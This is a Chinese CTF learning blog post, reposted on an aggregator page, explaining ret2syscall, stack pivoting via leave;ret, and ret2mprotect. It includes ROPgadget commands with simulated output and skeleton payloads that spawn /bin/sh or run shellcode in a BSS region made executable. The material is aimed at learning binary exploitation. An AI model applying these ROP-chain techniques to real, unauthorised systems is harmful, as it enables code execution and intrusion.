当前位置: 首页 > news >正文

【学习记录】Week4(四):进阶栈溢出——ret2syscall、栈劫持与 ret2mprotect 实战

写在前面:在前三篇文章中,我们掌握了 ret2libc 泄露、基础 ROP 拼接以及大杀器 ret2csu。但 CTF 的世界总是千奇百怪:如果题目没有给你 libc,或者程序里根本找不到syscall指令怎么办?如果溢出的空间极其狭小,连 ROP 链都放不下怎么办?本文作为 Week4 的收官,将带你学习三种高阶栈溢出技巧,彻底补全你的基础攻击面。

📑 目录

  1. 越过 libc:ret2syscall 直接调 execve
  2. 空间魔术:栈劫持与 fake stack frame 构造
  3. 破除禁锢:ret2mprotect 修改内存权限
  4. Week4 总结与进阶展望

1. 越过 libc:ret2syscall 直接调 execve

场景痛点:有时候题目是静态编译的,或者没有输出函数让我们泄露 libc 基址。此时 ret2libc 走不通。
破局思路:既然程序静态编译了,那它内部大概率包含了syscall指令。我们不需要调用system函数,而是直接通过 ROP 链布置寄存器,最后执行syscall指令,直接触发操作系统的execve("/bin/sh", NULL, NULL)系统调用。

64 位 execve 系统调用约定:

  • rax= 0x3b (59,execve 的系统调用号)
  • rdi= “/bin/sh” 字符串地址
  • rsi= 0 (argv)
  • rdx= 0 (envp)
  • 最后执行syscall指令

假设性说明(模拟 Gadget 查找):
使用 ROPgadget 查找静态编译的程序:

ROPgadget --binary vuln --only "pop|ret" | grep rax # 模拟输出: 0x0000000000401b8f : pop rax ; ret ROPgadget --binary vuln --only "pop|ret" | grep rdi # 模拟输出: 0x0000000000401b93 : pop rdi ; ret ROPgadget --binary vuln --string "/bin/sh" # 模拟输出: 0x00000000006c1000 : /bin/sh ROPgadget --binary vuln --only "syscall|ret" # 模拟输出: 0x0000000000401b95 : syscall ; ret

(假设我们通过 ret2csu 或其他方式已经将rdxrsi置零了)

ROP 链拼接推演:

payload = b'A' * offset # 假设已经处理了 rsi 和 rdx 为 0 payload += p64(pop_rdi) + p64(bin_sh_addr) payload += p64(pop_rax) + p64(0x3b) payload += p64(syscall_addr)

通过这种方式,我们完全绕过了 libc,直接让 CPU 替我们执行系统调用。

2. 空间魔术:栈劫持与 fake stack frame 构造

场景痛点:有时候程序的溢出点非常小,比如read(0, buf, 0x20),除去 16 字节的填充和 8 字节的返回地址,我们只剩下 8 字节的空间,根本塞不下完整的 ROP 链。
破局思路:既然当前的栈空间不够,那我们就把 ROP 链写到其他地方(如 BSS 段),然后把栈指针(RSP)劫持过去

核心指令:leave; ret
回顾汇编知识,leave指令等价于:

mov rsp, rbp ; 把 rbp 的值赋给 rsp pop rbp ; 把此时栈顶的值弹入 rbp

如果我们能控制rbp的值,然后执行leave; ret,就能瞬间改变rsp的指向!这就是“栈迁移”或“伪造栈帧”的核心。

假设性实战推演:
假设溢出偏移为 16(即 16 字节后覆盖到 rbp),我们只能控制rbp和返回地址。我们的目标是把栈迁移到bss_addr

  1. 第一次溢出时,我们在bss_addr提前写好完整的 ROP 链。
  2. 构造第一次的 Payload:
    • rbp被覆盖为bss_addr - 8(因为leave中的pop rbp会弹出一个 8 字节,我们需要让执行完pop rbp后,rsp正好指向bss_addr)。
    • 返回地址覆盖为程序中某个leave; ret指令的地址。

栈结构设计:

低地址 | 16字节填充 | | bss_addr - 8 (覆盖 rbp) | <- 此时原 rbp 被篡改 | leave_ret_addr (返回地址)| <- ret 跳到 leave; ret 执行 高地址

当程序执行原本的leave; ret(或者跳到我们自己构造的leave; ret)时:

  1. mov rsp, rbp->rsp变成了bss_addr - 8
  2. pop rbp->rsp变成了bss_addr,此时栈顶就是我们提前写好的完整 ROP 链!
  3. ret-> 开始执行我们在 BSS 段布置的 ROP 链。

这种技术在空间极其狭小的栈溢出中是起死回生的神技。

3. 破除禁锢:ret2mprotect 修改内存权限

场景痛点:程序开启了 NX 保护,栈和 BSS 段都不可执行。我们想用 Shellcode,但系统不让执行。
破局思路:Linux 提供了mprotect函数,可以修改内存页的权限。如果我们通过 ROP 调用mprotect(bss_addr, 0x1000, 7),就能把 BSS 段改成可读可写可执行(rwx,7 = 4+2+1),然后跳过去执行 Shellcode。

函数原型:int mprotect(void *addr, size_t len, int prot);

  • addr必须是内存页的整数倍(通常是 0x1000 对齐,如0x404000
  • len是长度
  • prot是权限,7 代表PROT_READ | PROT_WRITE | PROT_EXEC

攻击步骤规划:

  1. 使用 ret2csu 或基础 ROP,控制rdi = 0x404000rsi = 0x1000rdx = 7
  2. 调用mprotect
  3. 接着调用read(0, 0x404000, 0x100),将我们的 Shellcode 读入 BSS 段。
  4. 最后ret跳转到0x404000执行 Shellcode。

假设性说明(模拟 ROP 链结构):

payload = b'A' * offset # 1. 调用 mprotect(0x404000, 0x1000, 7) payload += p64(pop_rdi) + p64(0x404000) payload += p64(pop_rsi) + p64(0x1000) # 假设 rdx 已经是 7,或者用 csu 控制 payload += p64(mprotect_addr) # 2. 调用 read(0, 0x404000, 0x100) 把 shellcode 读进去 payload += p64(pop_rdi) + p64(0) payload += p64(pop_rsi) + p64(0x404000) payload += p64(pop_rdx) + p64(0x100) payload += p64(read_addr) # 3. 跳转到 0x404000 执行 payload += p64(0x404000)

read读取完我们发送的 Shellcode 后,ret指令会精准跳到 BSS 段,此时该区域已是rwx权限,Shellcode 顺利执行。

4. Week4 总结与进阶展望

至此,Week4 的四大模块全部完成!
从最基础的ret2libc 泄露与劫持,到拼接任意函数调用的基础 ROP;从解决 64 位传参痛点的ret2csu,到直接越权系统调用的ret2syscall;再到空间魔术般的栈劫持和改变内存属性的ret2mprotect

如果说 Week1-Week3 是让你认识了 PWN 的武器库,那么 Week4 就是教你如何组合这些武器,形成一套完整的攻击体系。掌握了这些,常规的栈溢出题已经很难挡住你的脚步。

下周预告 (Week5)
栈上的基础利用我们已基本讲完。但在实际环境中,栈上的保护(Canary)越来越严密。下周我们将正式踏入的世界,从mallocfree的底层实现讲起,揭开Use-After-Free (UAF)Double FreeTcache机制的神秘面纱。堆利用才是现代 PWN 的主战场!

如果 Week4 的系列文章对你的学习有帮助,请点赞收藏支持!你的鼓励是我持续更新的最大动力。我们 Week5 见!🙏

http://www.gsyq.cn/news/1620690.html

相关文章:

  • Python从入门到实战(一):初识Python与基础语法
  • 微电网控制柜主控模块七大核心功能,决定微网智能化上限
  • 华为手机地震预警全面升级,提前开启筑牢“安全防线”
  • xshell与xftp的连接教程
  • 收藏!小白程序员也能抓住的AI高薪机遇,大厂都在布局!
  • 拯救者笔记本终极控制神器:Lenovo Legion Toolkit完全指南
  • VS Code 插件市场 AI 类插件上架量暴增 6 倍:2026 年开发者工具链选型避坑指南
  • Spring Boot安全实战:防范路由暴露、SQL注入与Thymeleaf SSTI三大核心漏洞
  • AI编程工具与数据标注平台实战解析
  • Brand Mind用RAG压测100次AI态度变化
  • 3分钟终极指南:用ncmdumpGUI轻松解密网易云NCM音乐文件
  • 如何免费解锁Wand专业版:开源增强工具让你的游戏修改体验更完美
  • 计算机毕业设计之耕地资源数据管理系统
  • 基于HFish蜜罐与Python构建自动化威胁情报源实战指南
  • 3步实现游戏参数自由调整:开源增强工具全攻略
  • 终极视频字幕去除指南:5分钟学会AI自动去除硬字幕
  • 上海章动厂二代接班,如何在行业中获得认可?
  • 终极Steam创意工坊下载指南:WorkshopDL轻松获取1000+游戏模组
  • KMX63与PIC32MX795F512L实现现代HMI手势交互设计
  • KMX63与STM32L162ZE在HMI设计中的低功耗手势控制方案
  • 缓存方案选型_为什么企业级首选阿里云Tair而非自建Redis
  • Beyond Compare 5终极激活指南:3步完成永久授权密钥生成
  • 高德地图商户通对本地商家的获客价值,不止是“占个位置”这么简单
  • 基于STM32单片机的温度控制系统(Proteus仿真+Keil源码+设计文档)DS18B20 附下载链接!
  • 原神帧率解锁指南:突破60帧限制的完美解决方案
  • 从原理到实战:利用iwebsec靶场深入理解SSRF漏洞与Gopher协议攻击
  • 源码部署太繁琐?Hermes 轻量化整合包快速体验 AI 对话工具
  • 告别纸质签署,拥抱数字时代!亲笔签助力湘雅博爱康复医院实现全院电子签名
  • Web安全实战:12个逻辑漏洞案例与系统化挖掘方法论
  • 3步解锁QQ音乐格式限制:QMCFLAC2MP3终极解决方案